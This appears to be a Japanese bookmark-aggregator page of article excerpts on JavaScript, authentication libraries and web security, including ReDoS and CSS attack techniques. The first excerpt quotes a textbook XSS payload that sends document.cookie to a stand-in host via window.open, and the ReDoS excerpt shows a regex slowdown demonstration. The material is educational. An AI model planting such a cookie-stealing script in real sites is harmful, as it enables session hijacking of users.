XSSの例に登場するJavaScriptのopen（window.open）を理解したく手を動かす - nikkie-ftnextの日記
はじめに 豊洲ユナイテッドシネマ埋めるぞ！（ミリアニはいいぞ） nikkieです。 今回は小さな素振り記事です。 目次 はじめに 目次 window.open 開発ツールで動作確認 openする先のWireMockを用意 XSS脆弱性のあるDjangoアプリにopenを埋め込む 終わりに window.open 『実践Django』のXSS脆弱性の例で知りました。 openを使ってクッキーを送信するコードが実行される例が紹介されます(Kindle版 p.297 より)。 <script>open('http://example.com/stole?cookie='+escape(document.cookie));</script> このopen関数自体がよく分かっていなかったので今回素振りしました。 open() は Window インターフェイスのメソッドで、指定されたリソースを、新し
認証機能ライブラリ Auth.jsのOAuth認証をNext.jsで試す | DevelopersIO
こんにちは。データアナリティクス事業本部 サービスソリューション部の北川です。 Auth.js Auth.jsは、Next.jsなどのプロジェクトに認証機能を実装するライブラリになります。 元々は、NextAuth.jsという名前のライブラリでした。現在は、Next.jsに特化しているわけではなく、他のフレームワークでも使用できるのでAuth.jsに代わっています。そのため、公式サイトの遷移先のGIthubはNext Auth.jsのままだったりします。 今回はNext.jsプロジェクトで、Auth.jsの認証をSetup with OAuthチュートリアルを試してみました。 認証機能の実装 Next.jsプロジェクトの作成 Next.jsプロジェクトを作成します。 npx create next-app sample_authjs --ts cd sample_authjs Auth.j
正規表現の脆弱性 (ReDoS) を JavaScript で学ぶ
先日、このようなツイートを書いたところ、かなりの反響がありました。 JavaScript の正規表現の脆弱性の例でいうと、例えば /\s+$/ は脆弱性があると言える console.time(); /\s+$/.test(" ".repeat(65536) + "a"); console.timeEnd(); 結構時間がかかるのがわかる。でも /\s+$/ を見て「これは危険だな」と理解出来る人はそんなにいない。JavaScript に限らないけれど。 — Takuo Kihira (@tkihira) February 17, 2022 これは一般に ReDoS (Regular expression Denial of Service) と呼ばれる脆弱性です。正確に理解するのが難しい脆弱性なので、少し解説してみたいと思います。 結論 長い記事になるので、最初に「とりあえずこれだけ知っ
無料でJavaScriptによるトラッキングを防げるマルウェア対策拡張機能「JShelter」をフリーソフトウェア財団が発表
フリーソフトウェア財団が2021年9月30日に、トラッキングやデータ収集などJavaScriptを悪用したマルウェアによるリスクを軽減するブラウザ拡張機能「JShelter」を発表しました。 JShelter: Home https://jshelter.org/ FSF announces JShelter browser add-on to combat threats from nonfree JavaScript — Free Software Foundation — Working together for free software https://www.fsf.org/news/fsf-announces-jshelter-browser-add-on-to-combat-threats-from-nonfree-javascript JavaScriptを使えば、ブラウ
NextAuth.js for client-side authentication in Next.js | LogRocket Blog
Ejiro Asiuwhu Software engineer with a drive for building highly scalable and performant web applications. Heavily interested in module federation, micro frontends, state machines, TDD, and system designs. Big on web performance and optimization, advanced component design patterns, a11y, SSR, SSG, ISR, and state management. Expert at crafting highly reusable TypeScript-heavy component libraries. E
Nuxt.js+Firebaseの認証・認可を実装した雛形プロジェクトを公開しました - Qiita
この記事について NuxtとFirebaseを使って、これまでいくつかサービス開発をしていますが、認証/認可の実装はどのサービスでも毎回同じようなコードを書いている気がします。 サービスとしてのコア部分ではないですが、センシティブな部分なのでしっかりと調べながら実装すると結構大変ですよね（毎回時間がかかってしまいます）。 ここ最近のサービスはNuxt +Firebaseで開発することが多く、認証 / 認可のコードベースのTipsが貯まってきたので公開したら需要あったりするのかな？ サンプルになりそうなプロジェクト見当たらないし、コアな部分ではないのであまり楽しくないし...。 雛形のプロジェクトとして需要あれば公開します👍 — フジワラユウタ | SlideLive▶️ (@Fujiyama_Yuta) June 7, 2020 自分だけではなく、いろんな人が同じような課題感を感じている
Linux Foundation、使用頻度の高いオープンソースソフトウェアのセキュリティに関する調査結果を発表 | OSDN Magazine
非営利団体Linux Foundation傘下のCore Infrastructure Initiative（CII）は2月18日（米国時間）、運用環境のアプリケーションで使われているフリー/オープンソース（FOSS）コンポーネントのセキュリティに関するレポートを発表した。 Core Infrastructure Initiative（CII）は、2014年春に発見されたOpenSSLの脆弱性（「Heartbleed」）問題を受けてLinux Foundationが立ち上げたプロジェクト。重要なインフラ開発への支援を最大の目的としており、米Amazon Web Services（AWS）、米Cisco Systems、富士通、米Google、米IBM、米Microsoftなどが立ち上げ時のメンバーとなっている。 今回ハーバード大のLaboratory for Innovation Scie
知っておかないと驚くかも！CSSにおけるセキュリティの脆弱性について
ネットでは時々、CSSにおけるセキュリティの脆弱性について驚かせるような記事が出回ります。最近話題になったCSSのセキュリティの脆弱性、CSSでできることの可能性、ブラウザの対応状況について紹介します。 CSS Security Vulnerabilities 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事は、元サイト様にライセンスを得て翻訳しています。 はじめに 訪問済みリンクの懸念 CSSによるキーロガー CSSによるデータシーフ インラインスタイルブロックのうん○ もっとたくさんあると思います はじめに 記事のタイトルを見て、心配しないでください。CSSにはセキュリティ上の危険な問題はなく、ほとんどの場合、心配する必要はありません。 しかし、時々驚かせるような記事が出回り、CSSでできることの可能性について注意を払う必要があります。最近、話題になった記事をまとめました。
Googlebotが混合コンテンツを読み込まなくなるかも、Chromeのセキュリティ強化はSEOにも影響あり
[レベル: 上級] Chrome が混合コンテンツ (Mixed Content) をデフォルトでブロックするように仕様が変わります。 この仕様変更は Googlebot のクロールにも影響を与える可能性があります。 HTTPS ページなのに、HTTP で配信されたコンテンツはインデックスされなくなるかもしれません。 混在コンテンツを Googlebot は読み込むのか？ 混在コンテンツのデフォルトブロックが Googlebot に影響を与えるかどうか？ を先日のオフィスアワーで質問しました。 回答としては「影響はない」とのことだったのですが、質問の意図をうまく伝えることができていなかったみたいで僕が望んでいたような説明は得られませんでした。 Chrome のレンダリングエンジンを Googlebot は 採用しています。 Chrome のレンダリングに関わる変更は Googlebot に
新しい時代の幕開けか。クラウド向けWebアプリケーション開発用プログラミング言語·Opa MOONGIFT
Opaはクラウド向けWebアプリケーション開発に特化したプログラミング言語。 Opaはオープンソースのプログラミング言語。世の中には幾つのプログラミング言語があるだろうか。最近だと人気なのはJavaScriptだろう。10年くらい前から言えば、Web向けのプログラミング言語であるPHPがシェアを一気に高めた。 デモのチャット しかし常に人気が高い状態が続く訳ではない。栄枯盛衰、時代は常に変わらなければならない。今回紹介するのはWebアプリケーション開発用プログラミング言語として登場したOpaだ。 OpaはPHPと同じくWeb向けに特化したプログラミング言語だ。主に3つの特徴があり、シンプル、セキュアそしてスケーラブルだ。HTMLタグとOpaの変数とを区別せずに書けてしまう。コールバックを使って書くのでJavaScriptにも似ている。書きやすそうな印象を受ける。 イメージギャラリー セキュ
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
A new OAuth2 client for Javascript
JavaScript／TypeScriptランタイム「Deno 1.18」リリース、Web Cryptography APIが完成
JavaScript-based address bar spoofing vulns patched in Safari, Yandex, Opera
XSSがあってもlocalStorageに保存するのに比べてcookieのhttpOnlyはjsから読めないので強いと言うことですが、SPAのサイトであれば、XSSを使ってAPIを呼び出し放題なので、セッションのcookieがjsで読めなくても危険性には大差がないのでは？と思うのですが私の認識がおかしいでしょうか？ - ockeghem page
Chrome、JavaScriptやWebViewに関する脆弱性を修正
「HtmlUnit」に任意のコードが実行可能な脆弱性、IPAとJPCERT/CCが更新呼び掛け 
Black Clouds and Silver Linings in Node.js Security - LIRAN TAL
Tim Taubert: Keeping secrets with JavaScript | JSConf EU 2014
マルウェア「Emotet」に関する被害報告が昨年10月から増加、ウェブサイト改ざんや標的型攻撃にも注意、JPCERT/CCインデント報告対応レポート 
「Node.js」に「npm」由来の脆弱性、修正版のリリースを予告／本番環境で「npm」を実行しないように呼び掛け
